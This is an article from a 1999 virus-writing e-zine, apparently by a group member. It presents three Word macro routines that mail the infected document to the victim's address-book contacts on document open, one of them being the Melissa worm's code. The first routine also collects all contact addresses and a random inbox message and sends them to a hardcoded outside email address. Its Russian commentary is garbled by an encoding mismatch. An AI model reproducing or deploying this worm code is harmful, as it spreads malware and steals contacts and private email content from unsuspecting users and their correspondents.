- [Duke's Virus Labs #10] - [Page 29] -

Electronic mail propagation
(c) by ULTRS/MATRiX

 ⮩   ᪠      뫪 ᥬ.
Cᮡ 뫪 ࠦ 㬥  .  ࠡ 쭮 
   祬  ⫨   㣠. 

 ⮤
~~~~~~~~~~~~

 ⨩ 㬥  뫠 ᢮   짮⥫  
ᠭ  ᭮ , ⠪  뫠  쬮  ஬ ᠭ  
 e-mail   ଠ.  뫪  ⥪   
쬠.

Sub Document_Open()
Randomize
SubjectLines = Array("Easy Money", "Important Info", "Windows 2000", "Check this out!", "You are winner!")
' ᮮ饭
ContentLines = Array("How earn quickly money", "Important Info...", "New operation system!!!", "Check this out!", "You are winner!")
'⥪ ᮮ饭
MesNum = Int(Rnd * 4)
'㥬 ᮮ饭 1-4
CRLF = Chr(13) + Chr(10)
Set MAPISess = CreateObject("MAPI.Session")
'뢠 楤 MAPI
MAPISess.Logon
MesContent = CRLF + ContentLines(MesNum) + CRLF + CRLF + MAPISess.CurrentUser
' ᮮ饭
Set ChainMes = MAPISess.Outbox.Messages.Add(SubjectLines(MesNum), MesContent)
'塞 ᮮ饭  뢠 ⥪,  襣 쬠
Set objRecipients = ChainMes.Recipients
For Each AdrEntry In MAPISess.AddressLists(1).AddressEntries
Set Recp = objRecipients.Add(Name:=AdrEntry.Address, Type:=3)
'ࠬ 쬠
GInfo = GInfo + AdrEntry.Address + ";"
Next
'
Set objAttach = ChainMes.Attachments.Add
objAttach.Type = 1
'稥 쬠
objAttach.Source = ActiveDocument.FullName
'뫠 ⨢ 㬥 
objAttach.Position = 0
objAttach.Name = MAPISess.CurrentUser
GInfo = GInfo + CRLF + CRLF + MAPISess.Inbox.Messages(Int(Rnd * MAPISess.Inbox.Messages.Count) + 1).Text + CRLF
GInfo = GInfo + "Thank you for use this is..."
'୮
Set Retr = MAPISess.Outbox.Messages.Add(MAPISess.CurrentUser, GInfo)
Set Recp = Retr.Recipients.Add(Name:="zooo@hotmail.com")
'뫠  
Retr.Send
'諥 ᮮ饭
ChainMes.Send
'  諥
MAPISess.Logoff
'訬 ࠡ MAPI
End Sub

ன ⮤
~~~~~~~~~~~~

 ⮤    Melissa. 㬥 뢠 MS Outlook, 뢠  
 ᮢ Outlook ஭   뫠  ⨬ ᠬ 
ᮮ饭. 

 ᮮ饭 ᮤন:

: "Important Message From [UserName]" (UserName    ᮢ)
 쬠: "Here is that document you asked for ... don't show anyone else ;-)"

 ᮮ饭 ⠪ ᮥ 㬥, 뫠 㬥 & ᮮ饭  50 
 ᠬ.


Sub Document_Open()
Randomize
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
'뢠 outlook
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
'஢ਬ ᯮ ஭  
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
'ᯨ᮪  ᭮ 
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
'᫨  50 ᮢ, 뫠 ᮮ饭    
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
'뢠  subject
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
'襬 ଠ
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
'㭨  ᠣ  㬥
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
'諥 ᮮ饭
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
'⠢   ⥬ ॥   ᫠   ᮢ 
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
End Sub

⨩ ⮤
~~~~~~~~~~~~

 ⨩ 㬥  뫠 ᢮   짮⥫  
ᠭ  ᭮ . 祭 宦   㪠 ⮤,   
⨬஢.

Sub Document_Open()
Randomize
On error resume next
Set zzzO = CreateObject("Outlook.Application")
'஥ Outlook
Set zzzMAPI = zzzO.GetNameSpace("MAPI")
'஢ਬ ᯮ ஭  
For Each zzzAddy In zzzMAPI.AddressLists
If zzzAddy.AddressEntries.Count > 0 Then
Set zzzCI = zzzO.CreateItem(0)
For zzzLoop = 1 To zzzAddy.AddressEntries.Count
Set zzzCount = zzzAddy.AddressEntries(zzzLoop)
If zzzLoop = 1 Then
zzzCI.BCC = zzzCount.Address
Else
zzzCI.BCC = zzzCI.BCC & "; " & zzzCount.Address
End If
Next
zzzCI.Subject = "SuBject"
'뢠  subject
zzzCI.Body = "Body !!!!!!!"
'襬 ଠ
zzzCI.Attachments.Add ActiveDocument.FullName
'㭨  ᠣ  㬥
zzzCI.DeleteAfterSubmit = True
zzzCI.Send
End If
Next
End Sub


-=U=- aka ULTRAS (c)1999
from Russia with love!!!
